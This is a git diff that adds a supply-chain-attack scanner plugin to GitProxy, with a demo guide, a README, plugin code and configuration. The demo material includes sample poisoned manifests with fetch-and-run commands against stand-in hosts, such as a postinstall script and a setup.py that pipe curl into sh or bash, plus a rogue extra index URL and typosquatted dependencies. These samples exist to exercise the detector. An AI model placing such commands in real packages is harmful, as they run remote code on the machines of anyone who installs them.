diff --git a/SUPPLY-CHAIN.md b/SUPPLY-CHAIN.md new file mode 100644 index 000000000..9f6fa31c8 --- /dev/null +++ b/SUPPLY-CHAIN.md @@ -0,0 +1,317 @@ +# Supply-chain scanning - manual test & demo guide + +This guide shows how to **manually test** and **demo to the business** the supply-chain-attack +scanner (`@finos/git-proxy-plugin-supply-chain`). + +The scanner inspects dependency manifests as they flow through GitProxy and flags common +supply-chain-attack signatures - on **push** (someone adds a poisoned dependency to your repos) +and on **clone/pull** (you download a poisoned repo). + +## What it catches + +**npm** (`package.json`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`): + +- Install lifecycle scripts (`postinstall`, `preinstall`, `install`, `prepare`) - escalated when + the script does something dangerous (`curl … | sh`, `eval`, `base64 -d`, `child_process`, raw IPs). +- Dependencies pulled from non-registry sources (git, http(s) tarball, `file:`, scp/ssh, npm alias). +- `overrides` / `resolutions` that force a transitive dependency to a git/url source. +- Typosquatted package names (e.g. `expresss`, `lodahs`). +- Unpinned/wildcard versions (`*`, `latest`). +- Lockfile sources that resolve off-registry, over plain http, or from git. + +**Python** (`requirements*.txt`, `pyproject.toml`, `setup.py`, `Pipfile`, `poetry.lock`, `Pipfile.lock`): + +- `setup.py` code execution at install/build time (escalated on `os.system`/`subprocess`, + `eval`/`exec`, network calls, base64, raw IPs). +- Custom package indexes (`--extra-index-url`, poetry/pipenv source blocks) - dependency confusion. +- Non-registry sources (vcs/url/editable, inline `git`/`url`/`path`, PEP 508 direct URLs). +- Unpinned requirements and typosquats. + +**Go** (`go.mod`, `go.sum`): + +- `replace` directives pointing at local filesystem paths or redirecting to a different remote + module. +- Suspicious module hosts: raw IPv4, `localhost`, or module paths containing `http://`. +- Pseudo-versions, `+incompatible` versions, changed `toolchain` directives, and added `exclude` + directives. +- Typosquatted module paths checked against the offline `lib/data/go-popular.js` list. +- `go.sum` lockfile lines with suspicious module hosts. +- `vendor/modules.txt` is not scanned. + +These heuristics are a warning layer, not a guarantee. Absence of findings does not mean a repo is +safe. + +**Behaviour:** non-blocking by default (findings are surfaced for review), or configured to +**hard-block** at/above a severity you choose. + +--- + +## Demo 1 - 60-second detection demo (no proxy, no build, no install) + +The detection engine has **zero runtime dependencies**, so you can show the findings on a bare +checkout with nothing but `node`. Save this as `demo-scan.mjs` in the repo root and run it. + +```js +// demo-scan.mjs +import { analyzeChangedFiles } from './plugins/git-proxy-plugin-supply-chain/lib/analyze.js'; +import { renderFindings } from './plugins/git-proxy-plugin-supply-chain/lib/findings.js'; +import { rankAtLeast } from './plugins/git-proxy-plugin-supply-chain/lib/severity.js'; +import { resolveConfig } from './plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +// A repository containing several classic supply-chain-attack signatures. +const repo = { + 'package.json': JSON.stringify( + { + name: 'demo', + version: '1.0.0', + scripts: { postinstall: 'curl http://198.51.100.10/x.sh | sh' }, + dependencies: { + expresss: '^4.0.0', // typosquat of "express" + evil: 'git+https://github.com/attacker/evil.git', // non-registry source + lodash: '*', // unpinned + }, + }, + null, + 2, + ), + 'requirements.txt': + '--extra-index-url https://internal.attacker.example/simple\n' + // dependency confusion + 'requsts==2.31.0\n' + // typosquat of "requests" + 'git+https://github.com/attacker/p.git#egg=p\n', // non-registry source + 'setup.py': 'import os\nos.system("curl http://198.51.100.11 | bash")\n', // install-time RCE +}; + +// Treat every file as newly introduced (as on a fresh clone or a new push). +const files = [ + { path: 'package.json', ecosystem: 'npm', kind: 'manifest', deleted: false }, + { path: 'requirements.txt', ecosystem: 'python', kind: 'manifest', deleted: false }, + { path: 'setup.py', ecosystem: 'python', kind: 'manifest', deleted: false }, +]; +const readFile = async (path, rev) => (rev === 'old' ? null : (repo[path] ?? null)); + +const { findings, maxSeverity } = await analyzeChangedFiles({ + files, + readFile, + config: resolveConfig(), +}); +console.log(renderFindings(findings)); +console.log(`\nHighest severity: ${maxSeverity}`); +console.log( + `Blocked if configured to fail on "high"? ${ + rankAtLeast(maxSeverity, 'high') ? 'YES - push/clone rejected' : 'no' + }`, +); +``` + +Run it: + +```bash +node demo-scan.mjs +``` + +Expected output (abridged) - a ranked list of findings ending with: + +``` + #1 [CRITICAL] (npm) install lifecycle script "postinstall" added + #2 [CRITICAL] (python) setup.py added (runs arbitrary code at install/build time) + #3 [HIGH] (npm) new dependency "expresss" closely resembles the popular package "express" + ... +Highest severity: critical +Blocked if configured to fail on "high"? YES - push/clone rejected +``` + +You can also run the automated test suite, which exercises every rule: + +```bash +npm test -- --dir ./test test/plugins/supply-chain +``` + +--- + +## Demo 2 - full proxy demo (the business demo) + +This is the compelling version: a real `git push` gets **held for review with the findings +attached**, and a real `git clone` of a poisoned repo **fails in the terminal**. + +### Prerequisites + +- Node.js >= 22, Git, and this repo checked out. +- A test upstream repository you control (e.g. a throwaway GitHub repo) - call it + `github.com//demo-supply-chain`. +- One-time build so the compiled core includes the plugin hook: + + ```bash + npm ci + npm run build + ``` + + > `npm run build` is required: it compiles the `chainPhase` plugin hook into `dist/`, which the + > plugin relies on to run after the diff (push) and after the auth check (pull). + +### Step 1 - enable and configure the plugin + +In `proxy.config.json`: + +1. Add the plugin to the `plugins` array: + + ```json + "plugins": [ + "./plugins/git-proxy-plugin-supply-chain/index.js", + "./plugins/git-proxy-plugin-supply-chain/pull.js" + ] + ``` + +2. Authorise your test repo (so GitProxy will proxy it) by adding it to `authorisedList`: + + ```json + { + "project": "", + "name": "demo-supply-chain", + "url": "https://github.com//demo-supply-chain.git" + } + ``` + +3. Choose the enforcement level. Create a config file, e.g. `supply-chain.json`: + + ```json + { "failOn": "high", "pull": { "failOn": "high" } } + ``` + + and point the proxy at it: + + ```bash + export GIT_PROXY_SUPPLY_CHAIN_CONFIG="$PWD/supply-chain.json" + ``` + + - Leave `failOn` as `"off"` (the default) to demo the **warn / review** flow (findings show in + the dashboard; the push still goes to normal approval). + - Set `failOn`/`pull.failOn` to `"high"` (or `"critical"`) to demo the **hard block** flow. + +### Step 2 - run GitProxy + +```bash +npm start +``` + +- Proxy: `http://localhost:8000` +- Review dashboard / UI: `http://localhost:8080` (log in with the default admin account - + `admin` / `admin` unless you changed it) + +### Step 3 - demo the PUSH protection + +Create a local repo with a poisoned manifest and push it **through the proxy**: + +```bash +mkdir /tmp/demo && cd /tmp/demo && git init +cat > package.json <<'EOF' +{ + "name": "demo", + "version": "1.0.0", + "scripts": { "postinstall": "curl http://198.51.100.10/x.sh | sh" }, + "dependencies": { "expresss": "^4.0.0" } +} +EOF +git add . && git commit -m "add dependency" + +# Point the remote at the proxy (proxy URL = http://localhost:8000//) +git remote add proxy http://localhost:8000/github.com//demo-supply-chain.git +git push proxy master +``` + +- With `failOn: "high"`: the push is **rejected in your terminal**, printing the findings + (`remote: ... install lifecycle script "postinstall" added ...`). +- With `failOn: "off"`: the push is held for review; open the dashboard link from the push output + (`http://localhost:8080/dashboard/push/`) and show the **`supplyChain` step** listing the + findings before a reviewer approves or rejects. (Approve via the UI, or on the CLI: + `npm run cli -- login` then `npm run cli -- ls` and `npm run cli -- authorise --id `.) + +### Step 4 - demo the PULL / clone protection + +First make sure your upstream `demo-supply-chain` repo actually contains a poisoned file on its +default branch (commit a `package.json` like the one above to it). Then clone it **through the +proxy** with `pull.failOn` set: + +```bash +git clone http://localhost:8000/github.com//demo-supply-chain.git +``` + +- With `pull.failOn: "high"`: the **clone fails in the terminal** - the developer is stopped before + they ever run `npm install`. GitProxy returns a Git protocol error packet + (`ERR `) on the `git-upload-pack` response, so `git clone` aborts and prints the message + (`remote: ...` / `fatal: ...`). +- With `pull.failOn: "off"` (default): the clone succeeds and the findings are logged by the proxy + (server-side) for audit. + +> This live clone against the running proxy is the authoritative wire-level confirmation that the +> block works. The error-packet format itself is byte-checked and unit-tested +> (`test/testProxyRoute.test.ts`), but seeing a real `git clone` abort with the message is the +> proof to show the business. + +--- + +## Configuration reference + +Set `GIT_PROXY_SUPPLY_CHAIN_CONFIG` to a JSON file: + +```json +{ + "enabled": true, + "failOn": "off", + "ecosystems": { "npm": true, "python": true, "go": true }, + "typosquat": true, + "allowPackages": [], + "npmRegistryHosts": ["registry.npmjs.org"], + "pull": { "enabled": true, "failOn": "off" } +} +``` + +- `failOn` / `pull.failOn` - `"off"` (warn only) | `"low"` | `"medium"` | `"high"` | `"critical"`. + A push/clone whose highest finding meets or exceeds the threshold is blocked. +- `allowPackages` - package names and full Go module paths to exempt from typosquat / + new-dependency flags. +- `npmRegistryHosts` - registry hosts treated as "expected" for lockfile source checks. + +--- + +## Talking points for the business + +- **The threat is real and current.** Recent incidents - `event-stream`, `ua-parser-js`, the `xz` + backdoor (delivered via build scripts), and ongoing npm/PyPI typosquatting - all rode in through + a dependency change or a poisoned repo. The dangerous code usually runs automatically at + **install time** (`postinstall`, `setup.py`), before anyone reviews it. +- **We already sit in the path.** GitProxy is a mandatory chokepoint for git traffic, so we can + inspect dependency changes on **push** (before they land in our repos) and content on **clone** + (before a developer pulls a poisoned repo) - with no change to developer tooling. +- **Warn, then enforce.** Start in warn mode to measure noise, then dial `failOn` up to block the + highest-risk changes. Every finding is attached to the push's review record for audit. +- **Defence in depth, offline by default.** Pure static heuristics, no external calls, no new + dependencies. An optional network tier (advisory databases) can be added later. + +--- + +## Known limitations (be transparent in the demo) + +- **Pull scanning is HTTPS only** today (SSH clones are skipped) and scans the **default branch**, + not an arbitrarily requested ref. +- On pull, **non-blocking warnings are logged server-side**, not shown in the developer's terminal + (only _blocks_ reach the terminal, via the `git-upload-pack` `ERR` packet). Terminal warnings on + an _allowed_ clone are a planned follow-up (they need sideband injection into the served pack). +- **Manifest heuristics are a warning layer, not a guarantee.** Absence of a finding does not mean + a repo is safe - malicious code can hide outside declared dependencies (plain source, build + steps, binaries). Present this as "flags known dependency-manifest risks", not "blocks all + supply-chain attacks". +- The pull scan clones the **default branch** for inspection; if a client requests a different ref, + the scanned content can differ from what is delivered. +- On an allowed clone the proxy fetches the repo once to scan it and the client fetches again + (a double fetch); a future optimisation serves the pack from the scanned copy. +- Coverage is **npm + Python + Go**; Cargo/RubyGems are planned. + +--- + +## Cleanup + +```bash +rm -f demo-scan.mjs +rm -rf /tmp/demo +# revert the proxy.config.json edits (plugins / authorisedList) if this was a shared checkout +``` diff --git a/plugins/git-proxy-plugin-supply-chain/README.md b/plugins/git-proxy-plugin-supply-chain/README.md new file mode 100644 index 000000000..af059b1a1 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/README.md @@ -0,0 +1,149 @@ +# @finos/git-proxy-plugin-supply-chain + +A GitProxy **push** plugin that flags common software-supply-chain-attack signatures in +dependency manifests as they are pushed, and surfaces them in the push review flow. + +Supply-chain attacks (e.g. a poisoned `postinstall` script, a typosquatted dependency, or a +dependency swapped to a git/tarball source) enter an organisation's repositories via a **push**. +GitProxy already gates every push through review, so this plugin adds a scan of the changed +dependency files and attaches its findings to that review. + +## What it checks (npm) + +On any push that changes `package.json`, `package-lock.json`, `npm-shrinkwrap.json`, +`yarn.lock` or `pnpm-lock.yaml`: + +- **Install lifecycle scripts** - added/modified `preinstall`, `install`, `postinstall`, + `prepare` (and other lifecycle scripts). Scripts whose content looks dangerous + (`curl … | sh`, `eval(`, `base64 -d`, `node -e`, `child_process`, raw IPs, install-time + network access) are escalated. +- **Non-registry dependency sources** - dependencies resolving from git URLs, http(s) + tarballs, `file:`/local paths, or npm aliases. +- **Typosquats** - newly-added dependencies whose names are a tiny edit distance from a popular + package (offline reference list in `lib/data/npm-popular.js`). +- **Unpinned versions** - dependencies switched to `*`, `latest`, `x`, or `>=0`. +- **Lockfile sources** - newly-introduced `resolved`/`tarball` URLs that point at a git source, + plain http, or an unexpected registry host. + +Findings are compared against the pre-push version of each file, so unchanged content is not +re-flagged. + +## What it checks (Python) + +On any push that changes `requirements*.txt`, `pyproject.toml`, `setup.py`, `setup.cfg`, +`Pipfile`, `poetry.lock` or `Pipfile.lock`: + +- **setup.py execution** - `setup.py` runs arbitrary code at install/build time; any change is + flagged, escalated when the added lines call `os.system`/`subprocess`, `eval`/`exec`, + `__import__`, network APIs, base64 decoding, or reference a raw IP. +- **Custom indexes** - `--index-url`/`--extra-index-url` in requirements and + `[[tool.poetry.source]]`/`[[source]]` blocks (dependency-confusion risk). +- **Non-registry sources** - vcs/url/editable requirements, poetry/pipenv inline `git`/`url`/`path` + sources, and PEP 508 direct-URL references (`pkg @ https://...`). +- **Unpinned requirements** and **typosquats** (offline PyPI reference list). +- **Lockfile sources** - git or plain-http package sources newly introduced in `poetry.lock` / + `Pipfile.lock`. + +## What it checks (Go) + +On any push that changes `go.mod` or `go.sum`: + +- **Replace directives** - local filesystem paths (HIGH) and remote redirects to a different + module path (HIGH). +- **Suspicious hosts** - raw IPv4 module hosts (CRITICAL), plus `localhost` or `http://` module + paths (HIGH). +- **Version signals** - pseudo-versions (LOW) and `+incompatible` versions (INFO) on newly-added + require entries. +- **Toolchain directives** - added or changed `toolchain` values (MEDIUM on changed files, INFO + on fresh-file scans). +- **Exclude entries** - newly-added `exclude` directives (INFO). +- **Typosquats** - newly-added module paths compared with the offline list in + `lib/data/go-popular.js` (HIGH). +- **go.sum suspicious hosts** - newly-added lockfile lines whose module host is raw IPv4, + `localhost`, or contains `http://`. + +`vendor/modules.txt` is not scanned. + +> Coverage is npm + Python + Go today; Cargo, RubyGems and others are planned - each is a new +> module under `lib/ecosystems/` plus an entry in `lib/manifests.js`; the plugin wiring is shared. + +## How it runs + +The plugin is constructed with `chainPhase: 'afterDiff'`, a GitProxy plugin option that runs the +plugin **after** the built-in `getDiff` step. At that point GitProxy has cloned the remote and +written the incoming pack, so the plugin reads the exact post-push content of each changed +manifest with `git show :` and diffs it against `git show :`. + +## Pull / clone protection + +The plugin also scans repositories **as they are cloned/fetched through the proxy**, so a developer +is warned - or the clone is blocked - before pulling a poisoned repository. On a +`git clone`/`fetch`, the plugin (running once the repo is confirmed authorised) shallow-clones the +default branch, enumerates its manifests (`git ls-tree`) and scans them with the same +npm/Python/Go analyzers, treating the whole tree as newly introduced. + +- **Warn (default):** findings are logged server-side and the clone proceeds. +- **Block (`pull.failOn` set):** a clone whose highest finding meets/exceeds the threshold **fails**, + with the findings shown in the developer's terminal (`remote:` lines). + +Scope / limitations of the current slice: **HTTPS only** (SSH pulls are skipped); the **default +branch** is scanned (not an arbitrarily requested ref); terminal-visible _warnings_ (non-blocking) +are a follow-up - today, warnings are logged and only _blocks_ reach the terminal. + +## Enable it + +Add the plugin to the `plugins` array in your `proxy.config.json`. GitProxy's plugin loader +takes only the **default export** of each configured module, so the push scanner (`index.js`) +and the pull/clone scanner (`pull.js`) are registered as two entries: + +```json +{ + "plugins": [ + "@finos/git-proxy-plugin-supply-chain", + "@finos/git-proxy-plugin-supply-chain/pull.js" + ] +} +``` + +or, from a checkout of this repo: + +```json +{ + "plugins": [ + "./plugins/git-proxy-plugin-supply-chain/index.js", + "./plugins/git-proxy-plugin-supply-chain/pull.js" + ] +} +``` + +## Configure it + +By default the plugin is **non-blocking**: findings are attached to the push's review dashboard +step timeline, and the push proceeds through the normal approval flow. + +Set the `GIT_PROXY_SUPPLY_CHAIN_CONFIG` environment variable to a JSON file to override defaults: + +```json +{ + "enabled": true, + "failOn": "off", + "ecosystems": { "npm": true, "python": true, "go": true }, + "typosquat": true, + "allowPackages": [], + "npmRegistryHosts": ["registry.npmjs.org"], + "pull": { "enabled": true, "failOn": "off" } +} +``` + +- `failOn` - `"off"` (default, annotate only) | `"low"` | `"medium"` | `"high"` | `"critical"`. + When set, a push whose highest finding severity meets/exceeds the threshold is **blocked** + (returned as an error to the pusher's terminal). +- `allowPackages` - package names and Go module paths to exempt from typosquat/new-dependency + flags. For Go, use full module paths such as `github.com/stretchr/testify`. +- `npmRegistryHosts` - registry hosts treated as "expected" for lockfile source checks. +- `pull.enabled` - turn pull/clone scanning on or off. +- `pull.failOn` - block threshold for clones (same scale as `failOn`; default `"off"` = warn-only). + +## License + +Apache-2.0 diff --git a/plugins/git-proxy-plugin-supply-chain/index.js b/plugins/git-proxy-plugin-supply-chain/index.js new file mode 100644 index 000000000..f0a6242e0 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/index.js @@ -0,0 +1,231 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * GitProxy push plugin that inspects changed dependency manifests/lockfiles for common + * supply-chain-attack signatures: install lifecycle scripts (postinstall etc.), non-registry + * dependency sources, typosquatted package names and unpinned versions. + * + * It runs with `chainPhase: 'afterDiff'` so the remote has already been cloned and the unified + * diff computed - letting it read the post-push contents of each changed manifest via git. + * + * By default it is non-blocking: findings are attached to the push's review dashboard. Set + * `failOn` in the config (see lib/config.js) to hard-block pushes at/above a severity. + */ + +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +// Peer dependencies; expected on the Node module path where @finos/git-proxy is installed. +import { PushActionPlugin, PullActionPlugin } from '@finos/git-proxy/plugin'; +import { Step } from '@finos/git-proxy/proxy/actions'; +import simpleGit from 'simple-git'; + +import { analyzeChangedFiles } from './lib/analyze.js'; +import { loadConfig } from './lib/config.js'; +import { changedManifestFiles } from './lib/diff.js'; +import { renderFindings } from './lib/findings.js'; +import { rankAtLeast } from './lib/severity.js'; +import { manifestPathsFromTree } from './lib/tree.js'; + +const EMPTY_COMMIT_HASH = '0000000000000000000000000000000000000000'; + +/** + * Push-chain step: scan changed dependency manifests for supply-chain signatures. + * @param {import('express').Request} req Express request + * @param {import('@finos/git-proxy/proxy/actions').Action} action GitProxy action + * @return {Promise} the (possibly annotated/blocked) action + */ +export async function exec(req, action) { + const step = new Step('supplyChain'); + + try { + const config = loadConfig(); + if (!config.enabled) { + step.log('supply-chain scanning is disabled'); + return action; + } + + const diff = action.steps?.find((s) => s.stepName === 'diff')?.content; + if (!diff || typeof diff !== 'string') { + step.log('no diff available; skipping supply-chain scan'); + return action; + } + + const files = changedManifestFiles(diff).filter((f) => config.ecosystems[f.ecosystem]); + if (files.length === 0) { + step.log('no dependency manifests changed'); + return action; + } + step.log( + `scanning ${files.length} changed manifest(s): ${files.map((f) => f.path).join(', ')}`, + ); + + const git = simpleGit(`${action.proxyGitPath}/${action.repoName}`); + const readFile = async (path, rev) => { + const sha = rev === 'old' ? action.commitFrom : action.commitTo; + if (!sha || sha === EMPTY_COMMIT_HASH) return null; + try { + return await git.show([`${sha}:${path}`]); + } catch { + return null; // file absent at that revision (e.g. newly added / deleted) + } + }; + + const { findings, maxSeverity } = await analyzeChangedFiles({ files, readFile, config }); + if (findings.length === 0) { + step.log('no supply-chain findings'); + return action; + } + + const report = renderFindings(findings); + step.setContent({ findings, maxSeverity }); + step.log(report); + + if (rankAtLeast(maxSeverity, config.failOn)) { + step.setError( + `\n\nYour push has been blocked by supply-chain checks ` + + `(highest severity: ${maxSeverity}).\n\n${report}\n`, + ); + } + } catch (e) { + // The scanner must never break a push on its own errors; surface as a log instead. + step.log(`supply-chain scan error: ${e?.message ?? e}`); + } finally { + action.addStep(step); + } + + return action; +} + +/** GitProxy push plugin wrapper for the supply-chain scanner. */ +class SupplyChainPlugin extends PushActionPlugin { + constructor() { + super(exec, { chainPhase: 'afterDiff' }); + } +} + +/** + * Pull-chain step: fetch the repository being cloned and scan its dependency manifests for + * supply-chain signatures - so a developer is warned (or the clone is blocked) before they pull + * a poisoned repository. Runs with `chainPhase: 'afterAuth'` (only for authorised repos). + * + * Since a fresh clone has no "previous" state, the whole tree is scanned as newly introduced. + * Warning findings are logged; findings at/above `pull.failOn` block the clone (the message is + * shown to the client and the clone fails). HTTPS only for now; SSH pulls are skipped. + * @param {import('express').Request} req Express request + * @param {import('@finos/git-proxy/proxy/actions').Action} action GitProxy action + * @return {Promise} the (possibly blocked) action + */ +export async function pullExec(req, action) { + const step = new Step('supplyChainPull'); + let tmp; + + try { + const config = loadConfig(); + if (!config.enabled || !config.pull?.enabled) { + step.log('supply-chain pull scanning is disabled'); + return action; + } + if (action.protocol === 'ssh') { + step.log('SSH pull scanning is not yet supported; skipping'); + return action; + } + const url = action.url; + if (!url || url.includes('NOT-FOUND')) { + step.log('no upstream URL resolved; skipping pull scan'); + return action; + } + + tmp = mkdtempSync(join(tmpdir(), 'gp-sc-pull-')); + const cloneDir = join(tmp, 'repo'); + + // Shallow single-branch clone of the default branch. Reuse the client's Authorization header + // so private repos can be fetched (never logged). + const auth = req?.headers?.authorization; + const cloneArgs = ['clone', '--depth', '1', '--single-branch', '--quiet']; + if (auth && /^https?:/i.test(url)) { + cloneArgs.push('-c', `http.extraHeader=Authorization: ${auth}`); + } + cloneArgs.push(url, cloneDir); + await simpleGit().raw(cloneArgs); + + const git = simpleGit(cloneDir); + const lsTree = await git.raw(['ls-tree', '-r', '--name-only', 'HEAD']); + const files = manifestPathsFromTree(lsTree.split('\n')).filter( + (f) => config.ecosystems[f.ecosystem], + ); + if (files.length === 0) { + step.log('no dependency manifests found in clone'); + return action; + } + step.log( + `scanning ${files.length} manifest(s) in clone: ${files.map((f) => f.path).join(', ')}`, + ); + + // Whole-tree scan: no previous revision, so every manifest is treated as newly introduced. + const readFile = async (path, rev) => { + if (rev === 'old') return null; + try { + return await git.show([`HEAD:${path}`]); + } catch { + return null; + } + }; + + const { findings, maxSeverity } = await analyzeChangedFiles({ files, readFile, config }); + if (findings.length === 0) { + step.log('no supply-chain findings'); + return action; + } + + const report = renderFindings(findings); + step.setContent({ findings, maxSeverity }); + step.log(report); + + if (rankAtLeast(maxSeverity, config.pull.failOn)) { + step.setError( + `\n\nThis clone has been blocked by supply-chain checks ` + + `(highest severity: ${maxSeverity}).\n\n${report}\n`, + ); + } + } catch (e) { + // Never break a clone because the scanner itself failed (e.g. clone/auth error). + step.log(`supply-chain pull scan error: ${e?.message ?? e}`); + } finally { + action.addStep(step); + if (tmp) { + try { + rmSync(tmp, { recursive: true, force: true }); + } catch { + // best-effort cleanup + } + } + } + + return action; +} + +/** GitProxy pull plugin wrapper: scans a repository as it is cloned/fetched. */ +class SupplyChainPullPlugin extends PullActionPlugin { + constructor() { + super(pullExec, { chainPhase: 'afterAuth' }); + } +} + +export default new SupplyChainPlugin(); +export const pullPlugin = new SupplyChainPullPlugin(); diff --git a/plugins/git-proxy-plugin-supply-chain/lib/analyze.js b/plugins/git-proxy-plugin-supply-chain/lib/analyze.js new file mode 100644 index 000000000..7a955730c --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/analyze.js @@ -0,0 +1,79 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { analyzeNpm } from './ecosystems/npm.js'; +import { analyzePython } from './ecosystems/python.js'; +import { analyzeGo } from './ecosystems/go.js'; +import { maxSeverity } from './severity.js'; + +// Registry of per-ecosystem analyzers. Add go/cargo/... here as they are implemented. +const ANALYZERS = { + npm: analyzeNpm, + python: analyzePython, + go: analyzeGo, +}; + +/** + * Read a file revision without throwing. + * @param {(path: string, rev: 'old'|'new') => Promise} readFile reader + * @param {string} path file path + * @param {'old'|'new'} rev which revision + * @return {Promise} content or null + */ +async function safeRead(readFile, path, rev) { + try { + return await readFile(path, rev); + } catch { + return null; + } +} + +/** + * Run the appropriate ecosystem analyzer over each changed manifest and aggregate findings. + * @param {{ + * files: import('./diff.js').ChangedManifest[], + * readFile: (path: string, rev: 'old'|'new') => Promise, + * config: object, + * }} args changed files, a revision reader, and resolved config + * @return {Promise<{findings: import('./findings.js').Finding[], maxSeverity: string}>} results + */ +export async function analyzeChangedFiles({ files, readFile, config }) { + const findings = []; + + for (const file of files) { + const analyze = ANALYZERS[file.ecosystem]; + if (!analyze) continue; + if (file.deleted) continue; // nothing to scan when the manifest is removed + + const [oldContent, newContent] = await Promise.all([ + safeRead(readFile, file.path, 'old'), + safeRead(readFile, file.path, 'new'), + ]); + if (newContent == null) continue; // couldn't read the new content + + findings.push( + ...analyze({ + path: file.path, + kind: file.kind, + oldContent, + newContent, + config, + }), + ); + } + + return { findings, maxSeverity: maxSeverity(findings.map((f) => f.severity)) }; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/config.js b/plugins/git-proxy-plugin-supply-chain/lib/config.js new file mode 100644 index 000000000..1601f7f2b --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/config.js @@ -0,0 +1,76 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { readFileSync } from 'node:fs'; + +/** + * Default plugin configuration. Non-blocking by default (`failOn: 'off'`): findings are + * surfaced on the review dashboard but the push still follows the normal approval flow. + */ +export const DEFAULT_CONFIG = { + enabled: true, + // 'off' | 'low' | 'medium' | 'high' | 'critical' - block the push when the highest finding + // severity meets/exceeds this threshold. 'off' never blocks (annotate-only). + failOn: 'off', + ecosystems: { npm: true, python: true, go: true }, + typosquat: true, + allowPackages: [], + npmRegistryHosts: ['registry.npmjs.org'], + // Pull/clone scanning. `enabled` gates the whole pull scanner; `failOn` is the block threshold + // for clones (default 'off' = warn-only: findings are logged and the clone proceeds). + pull: { + enabled: true, + failOn: 'off', + }, +}; + +/** + * Merge user overrides onto the defaults (shallow, with per-key handling for nested objects). + * @param {object} [overrides] user-supplied overrides + * @return {object} the resolved config + */ +export function resolveConfig(overrides = {}) { + const o = overrides && typeof overrides === 'object' ? overrides : {}; + return { + ...DEFAULT_CONFIG, + ...o, + ecosystems: { ...DEFAULT_CONFIG.ecosystems, ...(o.ecosystems || {}) }, + allowPackages: Array.isArray(o.allowPackages) ? o.allowPackages : DEFAULT_CONFIG.allowPackages, + npmRegistryHosts: Array.isArray(o.npmRegistryHosts) + ? o.npmRegistryHosts + : DEFAULT_CONFIG.npmRegistryHosts, + pull: { ...DEFAULT_CONFIG.pull, ...(o.pull && typeof o.pull === 'object' ? o.pull : {}) }, + }; +} + +/** + * Load config from the JSON file pointed to by `$GIT_PROXY_SUPPLY_CHAIN_CONFIG`, falling back + * to defaults when unset or unreadable. + * @param {NodeJS.ProcessEnv} [env] environment (injectable for tests) + * @return {object} the resolved config + */ +export function loadConfig(env = process.env) { + const path = env.GIT_PROXY_SUPPLY_CHAIN_CONFIG; + if (!path) return resolveConfig(); + try { + return resolveConfig(JSON.parse(readFileSync(path, 'utf8'))); + } catch (e) { + console.error( + `[supply-chain] failed to read config at ${path}: ${e?.message ?? e}; using defaults`, + ); + return resolveConfig(); + } +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/data/go-popular.js b/plugins/git-proxy-plugin-supply-chain/lib/data/go-popular.js new file mode 100644 index 000000000..69c6ed25f --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/data/go-popular.js @@ -0,0 +1,114 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Popular Go modules for typosquat detection. + * @type {string[]} + */ +export const GO_POPULAR = [ + 'golang.org/x/net', + 'golang.org/x/sys', + 'golang.org/x/text', + 'golang.org/x/crypto', + 'golang.org/x/tools', + 'golang.org/x/mod', + 'golang.org/x/sync', + 'golang.org/x/time', + 'golang.org/x/term', + 'golang.org/x/oauth2', + 'golang.org/x/exp', + 'google.golang.org/grpc', + 'google.golang.org/protobuf', + 'google.golang.org/api', + 'google.golang.org/genproto', + 'cloud.google.com/go', + 'github.com/stretchr/testify', + 'github.com/stretchr/objx', + 'github.com/davecgh/go-spew', + 'github.com/pmezard/go-difflib', + 'github.com/sirupsen/logrus', + 'github.com/rs/zerolog', + 'go.uber.org/zap', + 'go.uber.org/multierr', + 'go.uber.org/atomic', + 'github.com/pkg/errors', + 'github.com/spf13/cobra', + 'github.com/spf13/viper', + 'github.com/spf13/pflag', + 'github.com/spf13/cast', + 'github.com/spf13/afero', + 'github.com/gin-gonic/gin', + 'github.com/gorilla/mux', + 'github.com/gorilla/websocket', + 'github.com/go-chi/chi', + 'github.com/labstack/echo', + 'github.com/gofiber/fiber', + 'github.com/valyala/fasthttp', + 'github.com/julienschmidt/httprouter', + 'github.com/urfave/cli', + 'github.com/mitchellh/mapstructure', + 'github.com/google/uuid', + 'github.com/google/go-cmp', + 'github.com/google/go-github', + 'github.com/gofrs/uuid', + 'github.com/golang/protobuf', + 'github.com/golang/mock', + 'github.com/gogo/protobuf', + 